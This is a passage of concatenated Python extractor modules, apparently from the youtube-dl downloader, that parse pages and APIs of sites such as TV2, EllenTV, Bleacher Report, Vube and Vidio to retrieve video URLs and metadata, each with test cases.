        } for _, thumbnail in asset.get('imageVersions', {}).items()]

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnails': thumbnails,
            'timestamp': timestamp,
            'duration': duration,
            'view_count': view_count,
            'categories': categories,
            'formats': formats,
        }


class TV2ArticleIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tv2\.no/(?:a|\d{4}/\d{2}/\d{2}(/[^/]+)+)/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.tv2.no/2015/05/16/nyheter/alesund/krim/pingvin/6930542',
        'info_dict': {
            'id': '6930542',
            'title': 'Russen hetses etter pingvintyveri - innrømmer å ha åpnet luken på buret',
            'description': 'md5:339573779d3eea3542ffe12006190954',
        },
        'playlist_count': 2,
    }, {
        'url': 'http://www.tv2.no/a/6930542',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        # Old embed pattern (looks unused nowadays)
        assets = re.findall(r'data-assetid=["\'](\d+)', webpage)

        if not assets:
            # New embed pattern
            for v in re.findall('TV2ContentboxVideo\(({.+?})\)', webpage):
                video = self._parse_json(
                    v, playlist_id, transform_source=js_to_json, fatal=False)
                if not video:
                    continue
                asset = video.get('assetId')
                if asset:
                    assets.append(asset)

        entries = [
            self.url_result('http://www.tv2.no/v/%s' % asset_id, 'TV2')
            for asset_id in assets]

        title = remove_end(self._og_search_title(webpage), ' - TV2.no')
        description = remove_end(self._og_search_description(webpage), ' - TV2.no')

        return self.playlist_result(entries, playlist_id, title, description)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import unified_strdate


class StreetVoiceIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.+?\.)?streetvoice\.com/[^/]+/songs/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://streetvoice.com/skippylu/songs/94440/',
        'md5': '15974627fc01a29e492c98593c2fd472',
        'info_dict': {
            'id': '94440',
            'ext': 'mp3',
            'title': '輸',
            'description': 'Crispy脆樂團 - 輸',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 260,
            'upload_date': '20091018',
            'uploader': 'Crispy脆樂團',
            'uploader_id': '627810',
        }
    }, {
        'url': 'http://tw.streetvoice.com/skippylu/songs/94440/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        song_id = self._match_id(url)

        song = self._download_json(
            'https://streetvoice.com/api/v1/public/song/%s/' % song_id, song_id, data=b'')

        title = song['name']
        author = song['user']['nickname']

        return {
            'id': song_id,
            'url': song['file'],
            'title': title,
            'description': '%s - %s' % (author, title),
            'thumbnail': self._proto_relative_url(song.get('image'), 'http:'),
            'duration': song.get('length'),
            'upload_date': unified_strdate(song.get('created_at')),
            'uploader': author,
            'uploader_id': compat_str(song['user']['id']),
        }






# coding: utf-8
from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    NO_DEFAULT,
)


class EllenTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?(?:ellentv|ellentube)\.com/videos/(?P<id>[a-z0-9_-]+)'
    _TESTS = [{
        'url': 'http://www.ellentv.com/videos/0-ipq1gsai/',
        'md5': '4294cf98bc165f218aaa0b89e0fd8042',
        'info_dict': {
            'id': '0_ipq1gsai',
            'ext': 'mov',
            'title': 'Fast Fingers of Fate',
            'description': 'md5:3539013ddcbfa64b2a6d1b38d910868a',
            'timestamp': 1428035648,
            'upload_date': '20150403',
            'uploader_id': 'batchUser',
        },
    }, {
        # not available via http://widgets.ellentube.com/
        'url': 'http://www.ellentv.com/videos/1-szkgu2m2/',
        'info_dict': {
            'id': '1_szkgu2m2',
            'ext': 'flv',
            'title': "Ellen's Amazingly Talented Audience",
            'description': 'md5:86ff1e376ff0d717d7171590e273f0a5',
            'timestamp': 1255140900,
            'upload_date': '20091010',
            'uploader_id': 'ellenkaltura@gmail.com',
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        URLS = ('http://widgets.ellentube.com/videos/%s' % video_id, url)

        for num, url_ in enumerate(URLS, 1):
            webpage = self._download_webpage(
                url_, video_id, fatal=num == len(URLS))

            default = NO_DEFAULT if num == len(URLS) else None

            partner_id = self._search_regex(
                r"var\s+partnerId\s*=\s*'([^']+)", webpage, 'partner id',
                default=default)

            kaltura_id = self._search_regex(
                [r'id="kaltura_player_([^"]+)"',
                 r"_wb_entry_id\s*:\s*'([^']+)",
                 r'data-kaltura-entry-id="([^"]+)'],
                webpage, 'kaltura id', default=default)

            if partner_id and kaltura_id:
                break

        return self.url_result('kaltura:%s:%s' % (partner_id, kaltura_id), 'Kaltura')


class EllenTVClipsIE(InfoExtractor):
    IE_NAME = 'EllenTV:clips'
    _VALID_URL = r'https?://(?:www\.)?ellentv\.com/episodes/(?P<id>[a-z0-9_-]+)'
    _TEST = {
        'url': 'http://www.ellentv.com/episodes/meryl-streep-vanessa-hudgens/',
        'info_dict': {
            'id': 'meryl-streep-vanessa-hudgens',
            'title': 'Meryl Streep, Vanessa Hudgens',
        },
        'playlist_mincount': 7,
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)
        playlist = self._extract_playlist(webpage)

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'title': self._og_search_title(webpage),
            'entries': self._extract_entries(playlist)
        }

    def _extract_playlist(self, webpage):
        json_string = self._search_regex(r'playerView.addClips\(\[\{(.*?)\}\]\);', webpage, 'json')
        try:
            return json.loads('[{' + json_string + '}]')
        except ValueError as ve:
            raise ExtractorError('Failed to download JSON', cause=ve)

    def _extract_entries(self, playlist):
        return [
            self.url_result(
                'kaltura:%s:%s' % (item['kaltura_partner_id'], item['kaltura_entry_id']),
                'Kaltura')
            for item in playlist]






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
    js_to_json,
)


class ScreenwaveMediaIE(InfoExtractor):
    _VALID_URL = r'(?:https?:)?//player\d?\.screenwavemedia\.com/(?:play/)?[a-zA-Z]+\.php\?.*\bid=(?P<id>[A-Za-z0-9-]+)'
    EMBED_PATTERN = r'src=(["\'])(?P<url>(?:https?:)?//player\d?\.screenwavemedia\.com/(?:play/)?[a-zA-Z]+\.php\?.*\bid=.+?)\1'
    _TESTS = [{
        'url': 'http://player.screenwavemedia.com/play/play.php?playerdiv=videoarea&companiondiv=squareAd&id=Cinemassacre-19911',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        playerdata = self._download_webpage(
            'http://player.screenwavemedia.com/player.php?id=%s' % video_id,
            video_id, 'Downloading player webpage')

        vidtitle = self._search_regex(
            r'\'vidtitle\'\s*:\s*"([^"]+)"', playerdata, 'vidtitle').replace('\\/', '/')

        playerconfig = self._download_webpage(
            'http://player.screenwavemedia.com/player.js',
            video_id, 'Downloading playerconfig webpage')

        videoserver = self._search_regex(r'SWMServer\s*=\s*"([\d\.]+)"', playerdata, 'videoserver')

        sources = self._parse_json(
            js_to_json(
                re.sub(
                    r'(?s)/\*.*?\*/', '',
                    self._search_regex(
                        r'sources\s*:\s*(\[[^\]]+?\])', playerconfig,
                        'sources',
                    ).replace(
                        "' + thisObj.options.videoserver + '",
                        videoserver
                    ).replace(
                        "' + playerVidId + '",
                        video_id
                    )
                )
            ),
            video_id, fatal=False
        )

        # Fallback to hardcoded sources if JS changes again
        if not sources:
            self.report_warning('Falling back to a hardcoded list of streams')
            sources = [{
                'file': 'http://%s/vod/%s_%s.mp4' % (videoserver, video_id, format_id),
                'type': 'mp4',
                'label': format_label,
            } for format_id, format_label in (
                ('low', '144p Low'), ('med', '160p Med'), ('high', '360p High'), ('hd1', '720p HD1'))]
            sources.append({
                'file': 'http://%s/vod/smil:%s.smil/playlist.m3u8' % (videoserver, video_id),
                'type': 'hls',
            })

        formats = []
        for source in sources:
            file_ = source.get('file')
            if not file_:
                continue
            if source.get('type') == 'hls':
                formats.extend(self._extract_m3u8_formats(file_, video_id, ext='mp4'))
            else:
                format_id = self._search_regex(
                    r'_(.+?)\.[^.]+$', file_, 'format id', default=None)
                if not self._is_valid_url(file_, video_id, format_id or 'video'):
                    continue
                format_label = source.get('label')
                height = int_or_none(self._search_regex(
                    r'^(\d+)[pP]', format_label, 'height', default=None))
                formats.append({
                    'url': file_,
                    'format_id': format_id,
                    'format': format_label,
                    'ext': source.get('type'),
                    'height': height,
                })
        self._sort_formats(formats, field_preference=('height', 'width', 'tbr', 'format_id'))

        return {
            'id': video_id,
            'title': vidtitle,
            'formats': formats,
        }


class TeamFourIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?teamfourstar\.com/video/(?P<id>[a-z0-9\-]+)/?'
    _TEST = {
        'url': 'http://teamfourstar.com/video/a-moment-with-tfs-episode-4/',
        'info_dict': {
            'id': 'TeamFourStar-5292a02f20bfa',
            'ext': 'mp4',
            'upload_date': '20130401',
            'description': 'Check out this and more on our website: http://teamfourstar.com\nTFS Store: http://sharkrobot.com/team-four-star\nFollow on Twitter: http://twitter.com/teamfourstar\nLike on FB: http://facebook.com/teamfourstar',
            'title': 'A Moment With TFS Episode 4',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        playerdata_url = self._search_regex(
            r'src="(http://player\d?\.screenwavemedia\.com/(?:play/)?[a-zA-Z]+\.php\?[^"]*\bid=.+?)"',
            webpage, 'player data URL')

        video_title = self._html_search_regex(
            r'<div class="heroheadingtitle">(?P<title>.+?)</div>',
            webpage, 'title')
        video_date = unified_strdate(self._html_search_regex(
            r'<div class="heroheadingdate">(?P<date>.+?)</div>',
            webpage, 'date', fatal=False))
        video_description = self._html_search_regex(
            r'(?s)<div class="postcontent">(?P<description>.+?)</div>',
            webpage, 'description', fatal=False)
        video_thumbnail = self._og_search_thumbnail(webpage)

        return {
            '_type': 'url_transparent',
            'display_id': display_id,
            'title': video_title,
            'description': video_description,
            'upload_date': video_date,
            'thumbnail': video_thumbnail,
            'url': playerdata_url,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from .amp import AMPIE
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_iso8601,
)


class BleacherReportIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?bleacherreport\.com/articles/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://bleacherreport.com/articles/2496438-fsu-stat-projections-is-jalen-ramsey-best-defensive-player-in-college-football',
        'md5': 'a3ffc3dc73afdbc2010f02d98f990f20',
        'info_dict': {
            'id': '2496438',
            'ext': 'mp4',
            'title': 'FSU Stat Projections: Is Jalen Ramsey Best Defensive Player in College Football?',
            'uploader_id': 3992341,
            'description': 'CFB, ACC, Florida State',
            'timestamp': 1434380212,
            'upload_date': '20150615',
            'uploader': 'Team Stream Now ',
        },
        'add_ie': ['Ooyala'],
    }, {
        'url': 'http://bleacherreport.com/articles/2586817-aussie-golfers-get-fright-of-their-lives-after-being-chased-by-angry-kangaroo',
        'md5': '6a5cd403418c7b01719248ca97fb0692',
        'info_dict': {
            'id': '2586817',
            'ext': 'webm',
            'title': 'Aussie Golfers Get Fright of Their Lives After Being Chased by Angry Kangaroo',
            'timestamp': 1446839961,
            'uploader': 'Sean Fay',
            'description': 'md5:825e94e0f3521df52fa83b2ed198fa20',
            'uploader_id': 6466954,
            'upload_date': '20151011',
        },
        'add_ie': ['Youtube'],
    }]

    def _real_extract(self, url):
        article_id = self._match_id(url)

        article_data = self._download_json('http://api.bleacherreport.com/api/v1/articles/%s' % article_id, article_id)['article']

        thumbnails = []
        primary_photo = article_data.get('primaryPhoto')
        if primary_photo:
            thumbnails = [{
                'url': primary_photo['url'],
                'width': primary_photo.get('width'),
                'height': primary_photo.get('height'),
            }]

        info = {
            '_type': 'url_transparent',
            'id': article_id,
            'title': article_data['title'],
            'uploader': article_data.get('author', {}).get('name'),
            'uploader_id': article_data.get('authorId'),
            'timestamp': parse_iso8601(article_data.get('createdAt')),
            'thumbnails': thumbnails,
            'comment_count': int_or_none(article_data.get('commentsCount')),
            'view_count': int_or_none(article_data.get('hitCount')),
        }

        video = article_data.get('video')
        if video:
            video_type = video['type']
            if video_type == 'cms.bleacherreport.com':
                info['url'] = 'http://bleacherreport.com/video_embed?id=%s' % video['id']
            elif video_type == 'ooyala.com':
                info['url'] = 'ooyala:%s' % video['id']
            elif video_type == 'youtube.com':
                info['url'] = video['id']
            elif video_type == 'vine.co':
                info['url'] = 'https://vine.co/v/%s' % video['id']
            else:
                info['url'] = video_type + video['id']
            return info
        else:
            raise ExtractorError('no video in the article', expected=True)


class BleacherReportCMSIE(AMPIE):
    _VALID_URL = r'https?://(?:www\.)?bleacherreport\.com/video_embed\?id=(?P<id>[0-9a-f-]{36})'
    _TESTS = [{
        'url': 'http://bleacherreport.com/video_embed?id=8fd44c2f-3dc5-4821-9118-2c825a98c0e1',
        'md5': '8c2c12e3af7805152675446c905d159b',
        'info_dict': {
            'id': '8fd44c2f-3dc5-4821-9118-2c825a98c0e1',
            'ext': 'mp4',
            'title': 'Cena vs. Rollins Would Expose the Heavyweight Division',
            'description': 'md5:984afb4ade2f9c0db35f3267ed88b36e',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        info = self._extract_feed_info('http://cms.bleacherreport.com/media/items/%s/akamai.json' % video_id)
        info['id'] = video_id
        return info






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_str,
)
from ..utils import (
    int_or_none,
    ExtractorError,
)


class VubeIE(InfoExtractor):
    IE_NAME = 'vube'
    IE_DESC = 'Vube.com'
    _VALID_URL = r'https?://vube\.com/(?:[^/]+/)+(?P<id>[\da-zA-Z]{10})\b'

    _TESTS = [
        {
            'url': 'http://vube.com/trending/William+Wei/Y8NUZ69Tf7?t=s',
            'md5': 'e7aabe1f8f1aa826b9e4735e1f9cee42',
            'info_dict': {
                'id': 'Y8NUZ69Tf7',
                'ext': 'mp4',
                'title': 'Best Drummer Ever [HD]',
                'description': 'md5:2d63c4b277b85c2277761c2cf7337d71',
                'thumbnail': 're:^https?://.*\.jpg',
                'uploader': 'William',
                'timestamp': 1406876915,
                'upload_date': '20140801',
                'duration': 258.051,
                'like_count': int,
                'dislike_count': int,
                'comment_count': int,
                'categories': ['amazing', 'hd', 'best drummer ever', 'william wei', 'bucket drumming', 'street drummer', 'epic street drumming'],
            },
            'skip': 'Not accessible from Travis CI server',
        }, {
            'url': 'http://vube.com/Chiara+Grispo+Video+Channel/YL2qNPkqon',
            'md5': 'db7aba89d4603dadd627e9d1973946fe',
            'info_dict': {
                'id': 'YL2qNPkqon',
                'ext': 'mp4',
                'title': 'Chiara Grispo - Price Tag by Jessie J',
                'description': 'md5:8ea652a1f36818352428cb5134933313',
                'thumbnail': 're:^http://frame\.thestaticvube\.com/snap/[0-9x]+/102e7e63057-5ebc-4f5c-4065-6ce4ebde131f\.jpg$',
                'uploader': 'Chiara.Grispo',
                'timestamp': 1388743358,
                'upload_date': '20140103',
                'duration': 170.56,
                'like_count': int,
                'dislike_count': int,
                'comment_count': int,
                'categories': ['pop', 'music', 'cover', 'singing', 'jessie j', 'price tag', 'chiara grispo'],
            },
            'skip': 'Removed due to DMCA',
        },
        {
            'url': 'http://vube.com/SerainaMusic/my-7-year-old-sister-and-i-singing-alive-by-krewella/UeBhTudbfS?t=s&n=1',
            'md5': '5d4a52492d76f72712117ce6b0d98d08',
            'info_dict': {
                'id': 'UeBhTudbfS',
                'ext': 'mp4',
                'title': 'My 7 year old Sister and I singing "Alive" by Krewella',
                'description': 'md5:40bcacb97796339f1690642c21d56f4a',
                'thumbnail': 're:^http://frame\.thestaticvube\.com/snap/[0-9x]+/102265d5a9f-0f17-4f6b-5753-adf08484ee1e\.jpg$',
                'uploader': 'Seraina',
                'timestamp': 1396492438,
                'upload_date': '20140403',
                'duration': 240.107,
                'like_count': int,
                'dislike_count': int,
                'comment_count': int,
                'categories': ['seraina', 'jessica', 'krewella', 'alive'],
            },
            'skip': 'Removed due to DMCA',
        }, {
            'url': 'http://vube.com/vote/Siren+Gene/0nmsMY5vEq?n=2&t=s',
            'md5': '0584fc13b50f887127d9d1007589d27f',
            'info_dict': {
                'id': '0nmsMY5vEq',
                'ext': 'mp4',
                'title': 'Frozen - Let It Go Cover by Siren Gene',
                'description': 'My rendition of "Let It Go" originally sung by Idina Menzel.',
                'thumbnail': 're:^http://frame\.thestaticvube\.com/snap/[0-9x]+/10283ab622a-86c9-4681-51f2-30d1f65774af\.jpg$',
                'uploader': 'Siren',
                'timestamp': 1395448018,
                'upload_date': '20140322',
                'duration': 221.788,
                'like_count': int,
                'dislike_count': int,
                'comment_count': int,
                'categories': ['let it go', 'cover', 'idina menzel', 'frozen', 'singing', 'disney', 'siren gene'],
            },
            'skip': 'Removed due to DMCA',
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        video = self._download_json(
            'http://vube.com/t-api/v1/video/%s' % video_id, video_id, 'Downloading video JSON')

        public_id = video['public_id']

        formats = []

        for media in video['media'].get('video', []) + video['media'].get('audio', []):
            if media['transcoding_status'] != 'processed':
                continue
            fmt = {
                'url': 'http://video.thestaticvube.com/video/%s/%s.mp4' % (media['media_resolution_id'], public_id),
                'abr': int(media['audio_bitrate']),
                'format_id': compat_str(media['media_resolution_id']),
            }
            vbr = int(media['video_bitrate'])
            if vbr:
                fmt.update({
                    'vbr': vbr,
                    'height': int(media['height']),
                })
            formats.append(fmt)

        self._sort_formats(formats)

        if not formats and video.get('vst') == 'dmca':
            raise ExtractorError(
                'This video has been removed in response to a complaint received under the US Digital Millennium Copyright Act.',
                expected=True)

        title = video['title']
        description = video.get('description')
        thumbnail = self._proto_relative_url(video.get('thumbnail_src'), scheme='http:')
        uploader = video.get('user_alias') or video.get('channel')
        timestamp = int_or_none(video.get('upload_time'))
        duration = video['duration']
        view_count = video.get('raw_view_count')
        like_count = video.get('total_likes')
        dislike_count = video.get('total_hates')

        comments = video.get('comments')
        comment_count = None
        if comments is None:
            comment_data = self._download_json(
                'http://vube.com/api/video/%s/comment' % video_id,
                video_id, 'Downloading video comment JSON', fatal=False)
            if comment_data is not None:
                comment_count = int_or_none(comment_data.get('total'))
        else:
            comment_count = len(comments)

        categories = [tag['text'] for tag in video['tags']]

        return {
            'id': video_id,
            'formats': formats,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'timestamp': timestamp,
            'duration': duration,
            'view_count': view_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'comment_count': comment_count,
            'categories': categories,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    parse_iso8601,
    parse_duration,
    parse_filesize,
    int_or_none,
)


class AlphaPornoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?alphaporno\.com/videos/(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://www.alphaporno.com/videos/sensual-striptease-porn-with-samantha-alexandra/',
        'md5': 'feb6d3bba8848cd54467a87ad34bd38e',
        'info_dict': {
            'id': '258807',
            'display_id': 'sensual-striptease-porn-with-samantha-alexandra',
            'ext': 'mp4',
            'title': 'Sensual striptease porn with Samantha Alexandra',
            'thumbnail': 're:https?://.*\.jpg$',
            'timestamp': 1418694611,
            'upload_date': '20141216',
            'duration': 387,
            'filesize_approx': 54120000,
            'tbr': 1145,
            'categories': list,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_id = self._search_regex(
            r"video_id\s*:\s*'([^']+)'", webpage, 'video id', default=None)

        video_url = self._search_regex(
            r"video_url\s*:\s*'([^']+)'", webpage, 'video url')
        ext = self._html_search_meta(
            'encodingFormat', webpage, 'ext', default='.mp4')[1:]

        title = self._search_regex(
            [r'<meta content="([^"]+)" itemprop="description">',
             r'class="title" itemprop="name">([^<]+)<'],
            webpage, 'title')
        thumbnail = self._html_search_meta('thumbnail', webpage, 'thumbnail')
        timestamp = parse_iso8601(self._html_search_meta(
            'uploadDate', webpage, 'upload date'))
        duration = parse_duration(self._html_search_meta(
            'duration', webpage, 'duration'))
        filesize_approx = parse_filesize(self._html_search_meta(
            'contentSize', webpage, 'file size'))
        bitrate = int_or_none(self._html_search_meta(
            'bitrate', webpage, 'bitrate'))
        categories = self._html_search_meta(
            'keywords', webpage, 'categories', default='').split(',')

        age_limit = self._rta_search(webpage)

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'ext': ext,
            'title': title,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'duration': duration,
            'filesize_approx': filesize_approx,
            'tbr': bitrate,
            'categories': categories,
            'age_limit': age_limit,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_iso8601,
    sanitized_Request,
)


class SportDeutschlandIE(InfoExtractor):
    _VALID_URL = r'https?://sportdeutschland\.tv/(?P<sport>[^/?#]+)/(?P<id>[^?#/]+)(?:$|[?#])'
    _TESTS = [{
        'url': 'http://sportdeutschland.tv/badminton/live-li-ning-badminton-weltmeisterschaft-2014-kopenhagen',
        'info_dict': {
            'id': 'live-li-ning-badminton-weltmeisterschaft-2014-kopenhagen',
            'ext': 'mp4',
            'title': 're:Li-Ning Badminton Weltmeisterschaft 2014 Kopenhagen',
            'categories': ['Badminton'],
            'view_count': int,
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 're:Die Badminton-WM 2014 aus Kopenhagen bei Sportdeutschland\.TV',
            'timestamp': int,
            'upload_date': 're:^201408[23][0-9]$',
        },
        'params': {
            'skip_download': 'Live stream',
        },
    }, {
        'url': 'http://sportdeutschland.tv/li-ning-badminton-wm-2014/lee-li-ning-badminton-weltmeisterschaft-2014-kopenhagen-herren-einzel-wei-vs',
        'info_dict': {
            'id': 'lee-li-ning-badminton-weltmeisterschaft-2014-kopenhagen-herren-einzel-wei-vs',
            'ext': 'mp4',
            'upload_date': '20140825',
            'description': 'md5:60a20536b57cee7d9a4ec005e8687504',
            'timestamp': 1408976060,
            'duration': 2732,
            'title': 'Li-Ning Badminton Weltmeisterschaft 2014 Kopenhagen: Herren Einzel, Wei Lee vs. Keun Lee',
            'thumbnail': 're:^https?://.*\.jpg$',
            'view_count': int,
            'categories': ['Li-Ning Badminton WM 2014'],

        }
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        sport_id = mobj.group('sport')

        api_url = 'http://proxy.vidibusdynamic.net/sportdeutschland.tv/api/permalinks/%s/%s?access_token=true' % (
            sport_id, video_id)
        req = sanitized_Request(api_url, headers={
            'Accept': 'application/vnd.vidibus.v2.html+json',
            'Referer': url,
        })
        data = self._download_json(req, video_id)

        asset = data['asset']
        categories = [data['section']['title']]

        formats = []
        smil_url = asset['video']
        if '.smil' in smil_url:
            m3u8_url = smil_url.replace('.smil', '.m3u8')
            formats.extend(
                self._extract_m3u8_formats(m3u8_url, video_id, ext='mp4'))

            smil_doc = self._download_xml(
                smil_url, video_id, note='Downloading SMIL metadata')
            base_url_el = smil_doc.find('./head/meta')
            if base_url_el:
                base_url = base_url_el.attrib['base']
            formats.extend([{
                'format_id': 'rmtp',
                'url': base_url if base_url_el else n.attrib['src'],
                'play_path': n.attrib['src'],
                'ext': 'flv',
                'preference': -100,
                'format_note': 'Seems to fail at example stream',
            } for n in smil_doc.findall('./body/video')])
        else:
            formats.append({'url': smil_url})

        self._sort_formats(formats)

        return {
            'id': video_id,
            'formats': formats,
            'title': asset['title'],
            'thumbnail': asset.get('image'),
            'description': asset.get('teaser'),
            'duration': asset.get('duration'),
            'categories': categories,
            'view_count': asset.get('views'),
            'rtmp_live': asset.get('live'),
            'timestamp': parse_iso8601(asset.get('date')),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    NO_DEFAULT,
    str_to_int,
)


class DrTuberIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?drtuber\.com/video/(?P<id>\d+)/(?P<display_id>[\w-]+)'
    _TEST = {
        'url': 'http://www.drtuber.com/video/1740434/hot-perky-blonde-naked-golf',
        'md5': '93e680cf2536ad0dfb7e74d94a89facd',
        'info_dict': {
            'id': '1740434',
            'display_id': 'hot-perky-blonde-naked-golf',
            'ext': 'mp4',
            'title': 'hot perky blonde naked golf',
            'like_count': int,
            'comment_count': int,
            'categories': ['Babe', 'Blonde', 'Erotic', 'Outdoor', 'Softcore', 'Solo'],
            'thumbnail': 're:https?://.*\.jpg$',
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        video_url = self._html_search_regex(
            r'<source src="([^"]+)"', webpage, 'video URL')

        title = self._html_search_regex(
            (r'class="title_watch"[^>]*><p>([^<]+)<',
             r'<p[^>]+class="title_substrate">([^<]+)</p>',
             r'<title>([^<]+) - \d+'),
            webpage, 'title')

        thumbnail = self._html_search_regex(
            r'poster="([^"]+)"',
            webpage, 'thumbnail', fatal=False)

        def extract_count(id_, name, default=NO_DEFAULT):
            return str_to_int(self._html_search_regex(
                r'<span[^>]+(?:class|id)="%s"[^>]*>([\d,\.]+)</span>' % id_,
                webpage, '%s count' % name, default=default, fatal=False))

        like_count = extract_count('rate_likes', 'like')
        dislike_count = extract_count('rate_dislikes', 'dislike', default=None)
        comment_count = extract_count('comments_count', 'comment')

        cats_str = self._search_regex(
            r'<div[^>]+class="categories_list">(.+?)</div>',
            webpage, 'categories', fatal=False)
        categories = [] if not cats_str else re.findall(
            r'<a title="([^"]+)"', cats_str)

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'comment_count': comment_count,
            'categories': categories,
            'age_limit': self._rta_search(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none


class VidioIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?vidio\.com/watch/(?P<id>\d+)-(?P<display_id>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://www.vidio.com/watch/165683-dj_ambred-booyah-live-2015',
        'md5': 'cd2801394afc164e9775db6a140b91fe',
        'info_dict': {
            'id': '165683',
            'display_id': 'dj_ambred-booyah-live-2015',
            'ext': 'mp4',
            'title': 'DJ_AMBRED - Booyah (Live 2015)',
            'description': 'md5:27dc15f819b6a78a626490881adbadf8',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 149,
            'like_count': int,
        },
    }, {
        'url': 'https://www.vidio.com/watch/77949-south-korea-test-fires-missile-that-can-strike-all-of-the-north',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id, display_id = mobj.group('id', 'display_id')

        webpage = self._download_webpage(url, display_id)

        title = self._og_search_title(webpage)

        m3u8_url, duration, thumbnail = [None] * 3

        clips = self._parse_json(
            self._html_search_regex(
                r'data-json-clips\s*=\s*(["\'])(?P<data>\[.+?\])\1',
                webpage, 'video data', default='[]', group='data'),
            display_id, fatal=False)
        if clips:
            clip = clips[0]
            m3u8_url = clip.get('sources', [{}])[0].get('file')
            duration = clip.get('clip_duration')
            thumbnail = clip.get('image')

        m3u8_url = m3u8_url or self._search_regex(
            r'data(?:-vjs)?-clip-hls-url=(["\'])(?P<url>.+?)\1', webpage, 'hls url')
        formats = self._extract_m3u8_formats(m3u8_url, display_id, 'mp4', entry_protocol='m3u8_native')

        duration = int_or_none(duration or self._search_regex(
            r'data-video-duration=(["\'])(?P<duartion>\d+)\1', webpage, 'duration'))
        thumbnail = thumbnail or self._og_search_thumbnail(webpage)

        like_count = int_or_none(self._search_regex(
            (r'<span[^>]+data-comment-vote-count=["\'](\d+)',
             r'<span[^>]+class=["\'].*?\blike(?:__|-)count\b.*?["\'][^>]*>\s*(\d+)'),
            webpage, 'like count', fatal=False))

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': self._og_search_description(webpage),
            'thumbnail': thumbnail,
            'duration': duration,
            'like_count': like_count,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
    sanitized_Request,
)


class AudiMediaIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?audi-mediacenter\.com/(?:en|de)/audimediatv/(?P<id>[^/?#]+)'
    _TEST = {
        'url': 'https://www.audi-mediacenter.com/en/audimediatv/60-seconds-of-audi-sport-104-2015-wec-bahrain-rookie-test-1467',
        'md5': '79a8b71c46d49042609795ab59779b66',
        'info_dict': {
            'id': '1565',
            'ext': 'mp4',
            'title': '60 Seconds of Audi Sport 104/2015 - WEC Bahrain, Rookie Test',
            'description': 'md5:60e5d30a78ced725f7b8d34370762941',
            'upload_date': '20151124',
            'timestamp': 1448354940,
            'duration': 74022,
            'view_count': int,
        }
    }
    # extracted from https://audimedia.tv/assets/embed/embedded-player.js (dataSourceAuthToken)
    _AUTH_TOKEN = 'e25b42847dba18c6c8816d5d8ce94c326e06823ebf0859ed164b3ba169be97f2'

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        raw_payload = self._search_regex([
            r'class="amtv-embed"[^>]+id="([^"]+)"',
